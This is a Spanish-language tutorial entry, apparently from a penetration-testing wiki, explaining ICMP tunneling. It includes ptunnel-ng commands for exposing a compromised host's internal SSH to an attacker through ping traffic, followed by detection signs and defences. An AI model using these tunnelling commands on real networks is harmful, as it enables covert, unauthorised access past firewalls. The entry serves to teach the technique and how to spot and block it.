ICMP Tunneling
El ICMP tunneling encapsula tráfico TCP dentro de paquetes ICMP, normalmente los echo request y echo reply del ping. Es la técnica a la que se recurre cuando un cortafuegos deja pasar el ping pero bloquea casi todo lo demás: el ping se considera inofensivo y rara vez se filtra, así que su campo de datos se convierte en un canal de salida por donde nadie mira.
Mecanismo
Un paquete ICMP echo tiene un campo de datos cuyo contenido el protocolo no examina (sirve para medir latencia y tamaño). El tunneling lo aprovecha: el cliente trocea el tráfico TCP y lo mete en el campo de datos de echo request; el servidor, en el otro extremo, lo extrae, lo reenvía al destino real y devuelve las respuestas dentro de echo reply. Para la red intermedia solo se ven pings yendo y viniendo.
ptunnel-ng implementa este esquema. En el host comprometido (con salida ICMP) se levanta el servidor, reenviando a un servicio interno como el SSH:
sudo ./ptunnel-ng -r<ip> -R22Y en el atacante se conecta el cliente, que expone ese SSH en un puerto local a través del túnel ICMP:
sudo ./ptunnel-ng -p<ip> -l2222 -r127.0.0.1 -R22
ssh -p2222 <user>@127.0.0.1Requisitos
Basta con que el ICMP salga del segmento (algo muy común, porque bloquear el ping rompe diagnósticos legítimos) y con poder ejecutar el servidor en el host pivote. El túnel es lento y algo frágil (depende de que la red no limite ni reordene los ICMP), pero cuando el ping es lo único que atraviesa el cortafuegos, es la diferencia entre pivotar o no.
Cómo detectarlo
Los echo request/reply de un túnel se distinguen del ping normal por el tamaño y la variabilidad del campo de datos (un ping legítimo lleva un payload fijo y pequeño; el túnel, cargas grandes y cambiantes), por un volumen sostenido de ICMP hacia un mismo host y por una proporción request/reply que no cuadra con diagnósticos normales. Un IDS que inspeccione el payload ICMP lo caza enseguida.
Defensa. Limitar o bloquear el ICMP saliente hacia Internet, aplicar rate limiting al echo, e inspeccionar el tamaño y el contenido del payload ICMP en el perímetro. Relacionado con DNS tunneling y relay con socat.